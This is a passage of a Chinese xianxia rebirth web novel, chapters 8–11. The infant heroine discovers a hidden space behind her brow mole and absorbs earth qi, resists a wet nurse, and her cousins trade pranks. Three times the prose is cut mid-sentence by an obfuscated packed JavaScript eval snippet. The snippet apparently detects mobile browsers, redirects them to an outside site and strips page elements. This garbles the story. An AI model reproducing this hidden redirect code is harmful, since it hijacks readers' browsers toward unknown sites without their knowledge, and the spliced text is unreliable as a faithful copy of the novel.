侯珍没有点头,也没否认,“或许吧。” “那你又如何能确定磐磐的眉心痣就和这些有关呢?这……太荒唐了!” 侯珍转头,静静看着梅烈,“我不能确定,所以我想等磐磐满周岁时,请许师给磐磐相面。” “那天我只问了两个问题,现在,也许该用掉最后一个问题了。” 钟离悠彻底愣了。 8. 空间 所以……上辈子,许师也曾给她相过面算过命? 她却从来没听家里人说过。 钟离悠装作不经意地抬手,挡住自己的脸,在她看不到地方,手指指尖恰好落在眉间红痣。 这里真的有一颗痣吗?不过即使有,或许也就是一颗普通的痣。 因为梅家老祖是个耀眼的强者,自然而然,她身上每一处在世人眼里都似乎暗藏玄机。 而她,钟离悠是个普通人,所以这痣自然也是颗普通的痣……钟离悠努力说服着自己,不要多想,不要过分期待。 但她的心却不争气地砰砰直跳。 侯珍从屏风里绕出来,梅烈跟着她后面,侯珍向外唤道,“燕姑。” 燕姑走了进来。 侯珍手一指,“你跟家主说说。” 燕姑微微低头,“确如老夫人所言,昨晚侵扰梅府的朔鬼比往常多了许多。” 燕姑顿了一下,说道,“确实是在四小姐到了之后,朔鬼多了起来。” 朔鬼和妖兽不一样,朔鬼是人族的恶念与杂气所生出来的,尤其是修行者吐气吸纳,引气入体,将身体浊气排出时,最易滋生朔鬼。 人族,只要活着,就避免不开会滋生恶念,自然也就无法避免开生出朔鬼。 朔鬼是无法清除干净的,只能来一只杀一只。 因其出自于人族恶念,朔鬼也喜好寄附于浑身煞气,满是恶意的人的身上,也极喜不洁、劫煞、腐朽死亡之气息。 侯珍对上梅烈疑惑的眼神,解释道,“昨天送磐磐回来的私卫提起过,来的路上有许多朔鬼跟着她们,我原本以为是她们身上侵染了死无葬身地的气息,现在看来也不尽然。” 如果一个人身负家族业力或招惹了诅咒,便容易被朔鬼给缠上。 梅烈一时无语,沉默地坐在椅子上。 而他们话里的主人公,钟离悠,此刻还闭眼装睡,胖乎乎的小手搭在自己的眉间处,手指一点一点的。 突然间,眉间正中心的位置骤然一烫,指尖摸过去,那一小点的位置确实在发热。 一阵刺骨的寒意从后背向全身蔓延开来,像是被人赤裸着扔进了冰天雪地里。 是又开始发热了吗? 不是才刚好吗? 钟离悠对自己这孱弱无比的身体不禁生出了些许烦躁。 越来越冷,钟离悠忍不住打了一个寒颤,与身体突然涌起的寒意相反的是,眉间正中心的地方此时滚烫无比,原本的热意渐渐浓聚为烫意,进而是火烧般的灼热感,最后是针刺的痛感。 也就是针刺痛意的那瞬间,钟离悠的后背一空,强烈的是失重感和踩空感向她袭来,如同掉进看不见底的悬崖里。 眉间的炽热越发灼人,无限无止休地往下坠。 还有风,大风哗啦哗啦吹过,给她翻了无数个面。 在要落地的一瞬间,身体微妙地顿了一下,钟离悠下意识伸手撑住……嗯?真的撑住了? 钟离悠睁开双眼,第一眼看到的是大片大片的白,但第一眼注意到的却是自己撑地的手。 苍白纤长,骨节分明,虎口处有一道浅浅的疤。 这是她16岁时的手。 钟离悠从地上爬起来,意识渐渐回笼,她低头打量着自己,这就是她16岁的模样,甚至身上的衣服都好像是上辈子被杀时穿的那一套。 “这……这是什么鬼地方?!” 白绒球站在钟离悠的脚后,一边试探着在原地蹦跶着,一边惊乍地问道。 钟离悠转头先看了一眼脚后跟的白绒球,心里竟莫名安心不少,她又抬起头,看向现在身处的地方。 脚下踩着的是流淌的白,就是白,不是任何瓷土白、雪白、雾白,就是单纯的白,没有任何具体的形态,这种白缓缓朝他们身后流淌着。 头顶上是浓稠的黑,这黑,倒像是夜晚无星无云的天空,它也移动着,方向与地上的白相反,它向前缓缓移动着。 这感觉就像是,头顶上的黑向前移动到尽头,再流淌到地上,地上的白流淌到尽头,又散发到头顶上。 不过,头上这片黑天空,倒很像法修者的元素星海,只不过缺失了最重要的、负责运转整片元素星海的周天十四主星。 至于这是什么地方,反正她能肯定,这不是梦境。 “这什么地方,不该问你吗?”钟离悠蹲下来,“你不是什么天道之心吗?这不会是你搞出来的鬼吧?” 白绒球急着要反驳,黑溜溜的眼睛对上钟离悠的脸,却愣住了,张开的嘴也合上了。 钟离悠被它看得莫名,“这副模样,看到鬼啦?” 白绒球打滚回来,盯着她的眉间,“不……不是,你的眉间……” 钟离悠一脸怀疑地摸上自己的眉心,“眉间怎么了?” “眉间的那颗痣变了!变大了!” “变大了?”钟离悠更加莫名了,“有多大?” 白绒球努力描述,“就跟你指甲盖的大小,形状就像个花苞一样,不,就是一个花苞样!颜色也更亮了,鲜红鲜红的!” 花苞?鲜红? 钟离悠福至心灵,“梅花花苞?” “对!就是梅花花苞样!” 钟离悠怀疑道,“你知道梅花花苞长什么样吗?” “我当然知道!”白绒球瞬间蹦得比钟离悠还高,“我可是天道之心!” “既然你是天道之心,什么都知道,那你怎么不知道这是什么地方?”钟离悠成功把话题绕了回来。 白绒球瘪了下来,“我是天道之心,每个物种我自然是清楚的!但又不代表我什么都知道……” 似是想起什么,白绒球又鼓起来,“有件事情你肯定不知道!在你发热的时候,你的身体突然爬满了密密麻麻的花印子!” “什么花印子?” “像……莲花!” 莲花? 钟离悠:“真的假的?” 白绒球哼哼道,“爱信不信!” 钟离悠换了只手撑下巴,这又是花印子又是花苞的,难不成她是什么花神或者灵植之神的转世? 或者……她还有什么其他的隐藏身世?譬如其实她不是她阿爹阿娘的亲生女儿,是他们什么故交之女? 又或者她被狸猫换太子,调包了?调包的人为了护住她,封住了她的五行七脉……停!钟离悠打住将各种话本故事套入自己的行为。 她盘腿坐下,低头看着白绒球,“你还记得你是怎么来到这里的吗?” 白绒球回想了一下,然后唰地看向钟离悠眉间的赤红花苞,“我本来在你的神兽架上玩,然后看见你眉间的痣冒出些红光,还一闪一闪的,刚凑近一点,一个天旋地转,我就到了这里。” 这样说来的话,貌似这个地方还真的和她那颗眉间痣有关,钟离悠想,在她来这个地方之前,也是她的眉心突然发热,最后一阵刺痛。 这个地方倒让她想起梅应怜那只玉镯里的空间,两个地方给她的感觉莫名有些相似,但这个地方明显要更为广阔,不同之处在于,梅应怜的空间是有玉镯为载体的,而这个地方却没有。 总不可能她眉间这颗痣就是这个空间的载体吧? 如果真是这样,那她应该可以控制这个地方。 但她能完全感受到,现在她和这个地方完全没有一丝联系,更别说控制自己自由进出。 不过,说到自由进出,钟离悠看向白绒球,“你不是可以自由进出任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283200|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方吗?你试试能出去吗?” 试试就试试。 白绒球闭上眼睛,动心起念,下一秒就消失在原地。 钟离悠挑眉,哟,这还真能出去。 这到底是地方啊? 钟离悠再次环视周围一圈,白还是那个白,黑那是那个黑。 钟离悠最后选择躺在地上,先睡一觉再说吧。 钟离悠抬手摸了摸自己的眉心,说不定一觉醒来,又回去了呢? 钟离悠闭上眼睛,刚闭上,一个富有弹性的东西就弹在她的脸上,这触感……她睁开眼,果不其然。 “你怎么又回来了?” 白绒球一脸晕乎,“不知道啊……突然就又被吸进来了。” 吸进来? 钟离悠又坐起来,算了,想不通,原本皱起的眉头又松开。 “说不定现在你和我就是一根绳上的蚂蚱了。”钟离悠用手呼噜着它的毛,别说,触感还真不差,“只有我出去了,你才能真正出去。” 白绒球没吭声,按理说,作为天道之心,被人像是当作宠物一样摸来揉去,有点不像话。 但是,真的挺舒服的,白绒球眯着眼想,看她这么可怜的份上,就准她再摸自己一会儿好了。 钟离悠收回手,白绒球有些不满足地咂咂嘴。 “干脆走走吧,”钟离悠起身说道,“说不定跟什么秘境一样,要找到什么东西才能出去了。” 钟离悠随便挑了一个方向,一人一球就这样漫无目的地走着。 走了约莫半个时辰,钟离悠选择放弃,原因很简单,一路走下来,周围丝毫没有任何变化,要不是走的脚都酸了,她都以为自己一直站在原地未动。 钟离悠再次呈大字型躺在地上,白绒球也瘫在地上,跟钟离悠头对着头,以表势必压她一头之意。 这么一躺,钟离悠倒是想起一件事来,她说,“发热的时候我又做了一个梦。” 白绒球闭着眼,懒懒地应了一声。 “我梦见了混沌巨物。” 白绒球立刻睁开眼睛。 钟离悠翻过身,像审犯人一样盯着它,“上辈子,我死后,真的出现了混沌巨物? 白绒球哎呀一声,偏头逃避道,“那都是上辈子的事了。” 钟离悠自然也看出它的逃避之意,“你说,我们那些老祖吧,好不容易把这混沌巨物弄没了,结果倒好,这玩意儿又莫名出来了,这不会也是你们天道中的一环吧。” 她以为白绒球又要跳起来反驳了,出乎意料的是,这次白绒球相当严肃且一本正经。 它说,“对于你们人族而言,混沌巨物和妖兽这些都是坏的,可对于天道而言,世上的一切都没有好坏之分,你们人族和混沌巨物、一颗石头、一根草都没有任何区别。” “我们唯一要做的就是维持平衡与秩序。” 这话钟离悠没法反驳,她重新倒回在地上,“所以这一世之后,混沌巨物还是会出现吗?” 要是还出现,她现在就拖着她的家人,一起吃好喝好玩好,反正也离死不远了,若大量的混沌巨物出现,什么七国纷争都是小孩子把戏。 “不一定吧。”白绒球支吾道。 “不一定算什么答案,就不能给一个准确一点的嘛?” “大概不会。” 钟离悠皱眉,“为什么这一世大概不会?上一世和这一世难道会有大的不同之处?” 白绒球哎呀一声,“天机不可泄露,你想想天道讲究平衡,难道还真能让混沌巨物把你们都吃了。” 这话暂时说服了钟离悠,她闭上眼睛,心里却还是觉得有什么地方不对劲,但又说不出来,预知这事也并非全是好处,知道多了反而自扰。 9. 大哭 重生以来,钟离悠终于舒舒服服地睡了一个好觉,既没有做上辈子的梦,也没有头疼脑热。 钟离悠朦胧转醒时,略微睁开了一下眼,揉揉眼睛,又立马合上了,她现在还不太想醒来。 她用脸蹭了蹭脑袋底下枕着的东西,柔软细密的绒毛,带着些许温热,即使还没彻底清醒过来,她也知道脑袋枕着的是什么东西。 除了天道之心,谁还会有这么舒服的绒毛呢,钟离悠好心情地想,又上手揉了一把绒毛,彻底心满意足。 钟离悠伸了一个长长的懒腰,抬抬手臂,抖抖腿,又滋哇乱叫一通,才终于揉着眼睛坐了起来。 被钟离悠一通滋哇乱叫声弄醒的白绒球,也恍恍惚惚地睁开了眼睛。 彻底清醒后,钟离悠看着周围,一时间愣住了。 他们还在原先那个地方,模样却完全不同了。 天地自上而下被完全分隔为两半,右边一半全黑,左边一半全白。 “这……是怎么回事?”白绒球也彻底清醒过来。 “变化,流动。”钟离悠站起来,抬头望向分为黑白两级的天空,若有所思道,“两边都还在不断地消磨,融合。” 白绒球看着钟离悠的神情,问道,“你是看出了什么?” 钟离悠伸出手指,首先指向右边,“黑。” 又指左边,“白。” “黑白两级,消磨融合,你没有想到什么吗?” 白绒球的黑眼睛滴溜一转,“你是说太极图?” 钟离悠点头,“太极生两仪,两仪为阴阳,阴中有阳,阳中有阴。” “阴中有阳,阳中有阴,阳极阴生,阴极阳生,此消彼长,相互转化。” 话音刚落,天地间的黑白两极剧烈振动起来,斗争,融合,转化,看得钟离悠眼花缭乱,头晕目眩至极,钟离悠晃了晃脑袋,身体往后一倒,手撑住地,被迫坐在地上。 下一瞬间,整个天地颠倒翻转起来,黑白两极无止休地旋转,钟离悠也被卷入其中,跟着黑白两极旋转、撕裂,融合。 长发被截断了一半,衣袖和宽大下摆也皆被绞断,未被绞断的地方也被划破了不少口子,露出的肌肤也被刮了无数道细密的口子。 刚被卷进去时,钟离悠还下意识抵抗,试图找到落脚点,后来发现越抵抗,被撕裂的地方越多,她开始放松身体,主动去适应黑白两极旋转的方向,渐渐竟找到一丝平衡。 白绒球躲在她的怀里,细手紧紧揪住了她的衣襟,大声朝她喊着,“这又怎么了?!我们要一直这样转个不停吗?!” 钟离悠也大喊道,“那你试试你能不能出去?!” “不能!我早就试过了!” “那就老实待着!” 钟离悠一把按下它仰起的头。 黑白两极已然发生变化,钟离悠注意到两边的黑白逐渐凝成气体,黑气团与白气团依旧游转着,黑中逐渐衍生一团白,白中同样也衍生出一团黑。 钟离悠看着它们最终化形为一黑一白的阴阳鱼。 黑白两极的游转渐渐变得柔和统一起来,钟离悠和挂在她身上的白绒球在天地旋转的速度也慢了下来,白绒球也敢从钟离悠的怀里探出脑袋,转着转着,钟离悠竟还生出些熟能生巧的愉悦感,她觉得此刻自己像是在坐一个巨大的秋千。 就在阴阳鱼停止游转之时,一股磅薄浑厚的气在天地间爆发,处于中间的钟离悠与白绒球瞬间被震开。 钟离悠被远远震飞在地上,身体本能蜷缩了一下,接着再也没有动一下,周围寂静无声。 良久,半昏迷的钟离悠感到一种熟悉的力量,她曾在梦里附身其他人时所感受过类似的气息,既像道修的炼气,又像法修的元素之力,仿佛介于两者之间。 一想到修炼相关的事,钟离悠瞬间清醒了几分,痛意袭来,全身上下泛着如钝刀割过的痛,一阵又一阵,她竟然还没死?竟然还活着? 刚才被震开的那一下,她清楚地听到全身上下骨头震碎的声音,噼里啪啦的,像在她的身体里放烟花炮仗。 钟离悠睁开眼睛,放空地望着漆黑的天空。 天空怎么又变回去了? 她忍着痛,抬起了右手,放在自己的心口处,很好,五脏六腑也没被震出来,都还好好待着。 不过,钟离悠又有了新的疑惑,现在这副身躯到底是她的意识还是真的□□? 钟离悠艰难地从地上坐了起来,打量着四周,这个空间又变回最初的模样,上黑下白,但略有不同的是,天地间多了一种力量,就是在她半昏迷之际感受到的那种力量,介于炼气和元素之力中间。 这种力量,或者说这类气,既不完全像炼气,也不完全像元素之力,更像是包容了这两者,就像……这两类的母亲? 钟离悠又往四周看了看,没有找到白绒球的身影,不知它是出去了这个地方,还是被震飞到这个地方的其他角落去了。 她收回视线,继续研究着萦绕在她周围的气。 刚才已然出现了阴阳鱼,现在阴阳鱼又消失,是化成了这类气吗? 太极生两仪,两仪生四象,谓之金木水火,金木水火冲气所结则为土。 震木为春,离火为夏,兑金为秋,坎水为冬,各主一时,而土则分别旺于四季。 因而可见,木,生发;火,升腾;金,收敛;水,封藏;土,运化平衡。 钟离悠刚这样一想,便敏锐地察觉到周围的气发生了变化,而这气,竟然还凝成一股,穿进她的眉间中心,涌向她的全身。 骨裂肉割的痛苦随之而来。 这股气在她的身体里横冲直撞着,像是要凿开一条它自己的路一样,钟离悠的额头已冒出细密的汗水,两只手紧攥着衣服,小口小口呼吸着,说服着自己的身体去适应这股气。 她已辨认出来,这是土气,平稳均衡,破开身体每一点的力道都是刚好,它所经过的地方,留下的气体凝固支撑着,而痛意也被凝结。 支撑着她忍下来的是,这股气虽然游走的很快,但它留下的痛意却格外清晰,清晰到钟离悠可以辨认出它的路线是一副五行七脉图。 五行七脉啊……钟离悠咬破嘴唇想。 但真的好痛,钟离悠眼前一黑,彻底晕了过去。 再次醒来,钟离悠又一次对上神兽木雕的脸,她回到了她的小床上。 她的身体丝毫不痛,五行七脉之感也不见,钟离悠的心瞬间沉了下去,说不出是什么滋味。 她看了看天色,和她离开没有太大的区别,在那个空间耽误的时间并不影响外界的时间。 “你先别问,我先来问!”钟离悠在意识里对白绒球说道。 好不容易等到她出来的白绒球憋屈地吞下要说的话, “你看看我的身体有没有什么变化?”钟离悠问道。 白绒球瞅她一眼,古怪道,“你指哪方面的变化?” 钟离悠抿抿唇,别扭道,“五行七脉之类的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283201|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白绒球闻言盯了她一眼,闭上眼睛认真感受一番后,一头雾水道,“……没什么变化啊。” 钟离悠哦了一声。 她再度把视线投向外面的天空,发了一会儿愣,不行,她还是得再回一次那个地方。 像一般的储物空间,只要打了标记,主人动动心念,就可以打开那个空间。 只是这些空间都不能进人,她唯一知道能够进活人的空间也就是梅应怜那个玉镯空间了。 钟离悠闭眼想了想那个黑白天地,再睁眼,她还是在这张小床上。 也是,那个地方还没法确定是不是一个空间呢。 而且,她也不是修炼者,也没跟那个地方打上标记。 那她当初是怎么进去的? 钟离悠仔细回忆了一下,然后将手放在眉间正中心的位置,下一秒,体会过的踩空感再度袭来,场景迅速扭曲变化,钟离悠再度站在黑白天地里。 她还没来得及高兴,熟悉的气再度钻进体内,全身泛着钻心的痛,钟离悠双腿一软,直接跪了下来,眼前一黑,再度晕了过去。 好了,又要回去了。钟离悠眼前一黑时想。 钟离悠再次在小床上醒来,没犹豫,伸手按向眉间正中心,但这次却没能再进入,又按,还是不行,第三次按,依旧不行。 钟离悠思索着放下手,为什么不行了呢? 难道是因为她承受不住那份痛了吗? 但这一下,她确定了一件事情,这颗痣确实大有玄机,想到此,钟离悠莫名雀跃起来。 虽然还不确定这颗痣只是联通那个地方的一个触发物,还是那个地方就是藏在痣里的一个空间。 钟离悠正想着,突然嗅到淡淡的饭菜香,应该是祖母祖父要用朝食了。 诶,白绒球又跑哪儿去了? 不会是刚才被留在那个地方了吧。 念头刚出,钟离悠就看见白绒球嘴里叼着一只春卷,跳上她的小床护栏上。 “不要在我床上吃东西!”钟离悠皱眉说道,又问,“你还能吃东西?” 白绒球转了个身,把头掉向外面,埋头吃着炸春卷,听到钟离悠的问题,只是朝她撅了撅屁股。 这时,燕姑走了进来,恰好把睁开眼的钟离悠逮个正着。 “正好,四小姐也醒了。” 燕姑一边轻声说道,一边将钟离悠从床上抱了起来,手还拍了钟离悠两三下。 “现在差不多也能喂一道了。”燕姑对后面跟着的人说道。 被抱起来的钟离悠闻言一愣,喂什么? 燕姑试探着把钟离悠交到另一个长相端正的妇人手里,钟离悠又不是真的婴儿,自然不会因为被交到另一个陌生人怀里而又哭又闹。 “看样子,四小姐应该是不排斥你的。”燕姑又拍了几下襁褓,“你就在这里把奶给四小姐喂了,之前她都是吃的羊奶兑一点灵液……” 什么? 喂……什么? 钟离悠如遭雷劈。 喂奶?是她理解的喂奶吗? 燕姑已放下帘子,抱着钟离悠的妇人在小榻坐下,一只手正要解衣衫,怀里的婴儿却骤然哭了起来。 钟离悠撕心裂肺地哭着,上辈子加上这辈子她都没有这样扯着嗓子大了,拼着大半条命哭过。 虽然她现在的身体的确是个三个月大的婴儿,但她绝对接受不了喂奶这件事情! 绝对不! 钟离悠揪着衣服,努力哭得更凶! 10. 玩笑 观砚小院。 梅长墨、萧韵夫妻俩也回到自己的院子里。 萧韵的亲仆迎了上来,说梅疏晏三兄妹已经起床,正在小厅里用朝食。 到分岔路口,梅长墨拐了个道,回正屋里更衣,萧韵则直走来到小厅里。 厅外站着两个小厮,厅内桌子旁,一大一小正用着朝食。 照顾梅稚雪起居的奶娘正看着大郎君给妹妹稚雪喂饭。 “在吃什么啊?”萧韵夹着嗓子,学着童音问道。 梅稚雪闻言从饭碗里抬起小脑袋,头顶的小啾啾一晃又一晃,看见萧韵后,还顾不得嘴里的食物,先咧嘴甜甜一笑,“阿娘。” 然后努力嚼完食物后,着急忙慌地回答道,“阿娘,我在吃团子,阿兄给我夹的。” 梅稚雪只会喊大哥梅疏晏阿兄,对于二哥梅疏野向来是直呼其名,只有梅疏野做了让她极为欢喜的事情,她才会叫声二哥。 萧韵看向桌对面的儿子,微微一愣,倏尔眼里染上点点笑意,但面上却克制未显。 “你二弟哪里去了?”萧韵问道。 梅疏晏严肃着小脸,一本正经地回答道,“二弟他先用完朝食,不知道又去哪儿撒野了。” 回完母亲的话,梅疏晏又用公筷夹起一只滚雪团子,放在梅稚雪的小盘里,“再吃最后一个。” 梅稚雪继续甜甜一笑,稚嫩的童音拖得长长的,“谢谢阿兄——” 说完,她用她的专属小竹筷夹起费力地去夹小团子,戳了半天都没夹起来,似是终于想起什么,秀气的两弯皱起来,试图做出很凶的表情,“阿娘,她们说你去看妹妹了,你都不喊我,昨晚也没喊我,自己一个人悄悄去看妹妹。” 萧韵曲起手指,刮了刮女儿的小脸蛋,“那不是看你睡得正香吗?” 梅稚雪皱皱鼻子,“反正不能让梅疏野抢了先,梅疏野说,他要先教妹妹喊二哥,然后就带着妹妹不跟我玩。” “二哥只是逗你,怎么可能让妹妹真的不理你?”萧韵有些无奈,自从有了这三个孩子,整天都有断不完的官司。 “才不是呢,梅疏野才不是逗我玩!”梅稚雪坚定地摇摇头,“反正我要先教妹妹叫阿姐。” 她又仰起小脑袋,巴巴地看着萧韵,“阿娘等会儿就带我去看妹妹,好不好?趁二哥现在不在。” 萧韵叹气,“好。” 梅稚雪开心了,夹起梅疏晏给她夹的那只豆沙泥的糯米团,一整个塞进嘴里,嚼了没两三下,小脸苦成一团,直接吐在了小盘里,低头一看,果然不是她的错觉,是她讨厌的胡萝卜丝、黄瓜丝还有细碎的生菜丝。 梅稚雪喜好吃甜,吃肉,最讨厌的就是各类蔬菜。 甜甜的豆沙骤然变成蔬菜团,还是她最讨厌的那三种,脑袋有点懵的梅稚雪下意识看向了阿娘,阿娘与她对视一眼后,看向了桌对面的阿兄,梅稚雪也跟着望了过去。 阿兄此刻低着头,梅稚雪突觉不太对,唤了声阿兄。 “梅疏晏”依然低着脑袋,肩膀一耸一耸的。 梅稚雪已经彻底明白过来,小手一拍桌子,“梅!疏!野!” 梅疏野放声大笑,抬起头来,先前梅疏晏那副端方自持的模样抛了个干净,“哈哈哈哈哈你们都上当了吧!” “我学阿兄越来越像了吧!”梅疏野得意洋洋地说道,“连阿娘都被我骗过去了。” 萧韵心里叹气,这傻儿子。 就算她辨别不出来,也能通过道修与法修的气息分别出来,现在他们的等级都较低,还无法屏蔽自己的气息。 大儿子是法修,面前这个傻小子是道修,她刚才一进这屋子就感受到了。 梅稚雪已气得站在了椅子上,“梅疏野!我真是最讨厌你了! 梅疏野朝她做了个鬼脸,傻妹妹骂人翻来覆去就是“讨厌”来“讨厌”去,一点攻击性都没有,“哥哥这是让你多吃点蔬菜!” 梅稚雪气得抓狂,想说你才不是我哥哥,但阿娘又说,可以不叫梅疏野哥哥,可以跟梅疏野打架,也可以拿虫子吓梅疏野,但不能说梅疏野不是哥哥的话。 梅稚雪气呼呼地把话吞回去,一屁股坐回去,小手臂像大人一样环胸,她怎么有这么一个二哥。 萧韵一边给小女儿拍背顺气,一边问着梅疏野,“你阿兄去哪儿呢?” 梅疏野夹起一个饺饵,“在梅稚雪在床上哼哼唧唧赖床的时候,阿兄早就用完朝食去练武场了。” “看吧,还是你二哥对你好,还等你吃饭。”梅疏野朝梅稚雪抬抬下巴。 梅稚雪哼一声,撇开脸。 练武场上。 梅疏晏骑着一匹枣红色的小马驹,正在练骑马。 丹阳的孩子,五岁过后次年开春就可以去四象殿测根骨,帮助其确认是道修还是法修。 还会测试在锻造、炼药、御兽和符箓四道上是否有天赋,前三者都需用到精神力,因而只有法修者可入门学习,最后的符箓专属于道修者,唯有道修的炼气可催动它。 除此之外,四象殿的人还会检查测试者的五行七脉中是否自带本命灵兽,若检查到确实有本命灵兽,四象殿里的御兽师还会帮助其唤醒。 去年春天,梅疏晏和梅疏野就在四象殿完成了测根骨这一仪式。 梅疏晏是法修,亲和元素为火元素;梅疏野是道修。 两人在锻造、炼药、御兽和符箓上都未有什么突出天赋,梅疏晏对锻造御兽什么的也并不感兴趣,但梅疏野对一些整蛊的符箓挺感兴趣的,倒也自己偷摸学了些小把戏。 至于本命灵兽,两人同样也没有。 拥有本命灵兽的人本就是少数。 两人也不着急契约灵兽,灵兽契约方式分为两种,一类是生死契,只能契约一个,且契约除了一方死亡外不可解;一类是临时契,可以契约多个,两方都有解契的权利 两种契约方式只能选择一种,一旦选了其中一种,就不可再选择另外一种,换言之,选了临时契的人,这辈子就不可能再拥有本命灵兽。 梅疏晏和梅疏野都决定选择生死契,既然只能有一只,那么自然是要精挑细选,等着缘分的到来。 梅疏晏在武师傅的照看下,已策马绕着练武场小跑了一圈。 他现在正在让自己适应新的日常作息。 原本他是寅时末醒来,在房间里练习元素吸纳之法一个时辰,再洗漱吃饭,然后再去丹阳国学院进学,上午学常识,下午学有关修炼的事宜。 丹阳国学院并非人人都能去,唯有朝中三品以上的官员子女和皇室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283202|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子弟才能进去学习,且年龄要在六岁之后。 家里出事后,梅疏晏和梅疏野不便出门,两人就由家里长辈向国学院告了假,开春之后再回去。 所以现在,梅疏晏早上依旧寅时末起床并练习对元素的掌握,上午改成练习体术,练习基本的招式、箭术和骑马,下午则请梅宗私塾里的老师入府授课,学常识,也学修炼相关事情。 晚上便在自己院里学习和研究基础的元素法阵,梅疏晏目前是法者一阶,还扔不出一个完整的火元素法阵,顶多让院里的地上起一圈火。 体术本是道修者才会练的,法修则不用。 在不少人眼里,法修者可以学锻造、炼药和御兽,因而法修要比道修更厉害些。 但对于梅疏晏这种对锻造什么不感兴趣的人而言,至少对梅疏晏来说,道修似乎要优于法修。 道修者,内外兼修,内炼气,外练体术招式,在与人对决时,每个招式都可瞬间发出,武器也可自由选择;而法修不仅武器只能选择法阵,法阵还不能瞬间发出,需要念法阵阵咒,同时还要用自己的精神力引导元素构筑成元素法阵。 能够无杖无咒还能瞬发的法修者只有法圣级别以上的尊者才能做到 要是一个普通的法修者与同阶的道修者对决,道修者直接就可进攻,而法修还需时间念阵咒和构筑法阵,若是没有契约灵兽和防御法器拖延时间,法修者很可能一招便被道修者轰下台了。 家里仆人闲谈时,梅疏晏不经意听来一个笑谈。 据说有两个同阶的同元素法修者,不仅实力相当,念咒的速度和构筑法阵的速度也差不多,两个人基本上是,你扔一个法阵,我同时也扔一个法阵,两两抵消,打了三天三夜,最后两人打红了眼,双双扔掉法杖,直接□□对抗了起来。 据说对抗的招式是,你揪我头发,我扯你耳朵,我扒你衣服,你踩我鞋子,打斗间还你爹来我爹去,最后那个体力不足的人把体力更不足的人一屁股压坐在地上,最终气喘吁吁、大汗淋漓地赢得了这场对决。 当晚回去,梅疏晏就做了一个梦,梦见自己和一个人对决,最后对决着对决着,就开始和那个看不清楚脸的人开始撕扯头发。 梅疏晏当场便吓醒了过来,心有余悸地摸了摸自己的头发,等回神后,默默将学习体术招式列为头等大事中。 不过,法修也不是那么一无是处,同样还是法阵,法修者能提前设下法阵用于防御或埋伏, 梅疏晏跑完三圈,轻勒住缰绳,小马驹停下,小马蹄不安分地踢着脚下泥土,梅疏晏侧身抬头,看着西南方向远处的屋宇。 那里是二叔二婶的院子。 去年二婶回朝歌城述职,和他阿娘比试了一场,那是他一次看到有人无杖、无咒,手随意一抬,一个强大的元素法阵便铺天盖地压了下来。 游刃有余,轻松自如。 这是梅疏晏对法修者的最初印象。 况且二婶还不是法圣,还只是大法宗,越阶无杖无咒抛出元素法阵,足以见其天赋。 想到这里,梅疏晏又看向祖父祖母的院子,不知道新来的妹妹怎么样了?早上阿爹阿娘突然被叫走,也不知道是不是又出了什么事儿? 不过,二叔二婶的女儿是会成为道修还是法修呢? 11. 哥姐 道法两不修的妹妹钟离悠正眼泪汪汪地享用她的战利品——兑了灵液的温热羊奶,她足足哭了至少一刻钟才哭来这份羊奶。 此时,燕姑抱着钟离悠,侯珍坐对面,用调羹舀起木碗里的羊奶,一勺一勺喂着。 钟离悠一口一口抿进嘴里,别说,哭闹这么一场,她还真的饿了。 刚开始她哭的时候,她们还以为是她抵触第一位奶娘的气息,后面又陆陆续续地换了好几位奶娘,钟离悠真的差点哭撅过去了。 这时候祖母从最后一位奶娘手中接过她,然后燕姑说道,“这孩子可能是习惯了她阿娘,不用再叫人了,让厨房里的人准备些温热羊奶过来。” 哭得眼睛干涩发痛的钟离悠终于松了一口气。 “你就是个冤家。” 侯珍伸出食指,戳了戳钟离悠的小脸蛋,将喂干净的木碗放在托盘上,拿起柔软手帕轻轻擦着钟离悠的嘴巴,“还没你祖母剑高,这么挑嘴。” 唉,祖母,你不懂,这不是挑不挑嘴的问题,这是尊严的问题……钟离悠摸着自己圆滚滚的肚子,内心满是惆怅与庆幸。 侯珍又伸手轻轻扯出钟离悠脖间的黑棕色细绳,细绳上挂着一块通透的羊脂玉,拇指大小,平安锁状,刻着稻穗的花纹,玉的背后刻着“悠”的古文字,不用别人说,她也知道这是二儿子和二儿媳留给他们的女儿的。 她没在玉佩上感受到任何元素波动,显然不是什么防御法器,只是一块普通的玉佩。 玉佩细绳挨着钟离悠脖子的那块地方,被她的汗水和泪水濡湿完了,侯珍指尖燃起点点炼气,将那点地方烘干。 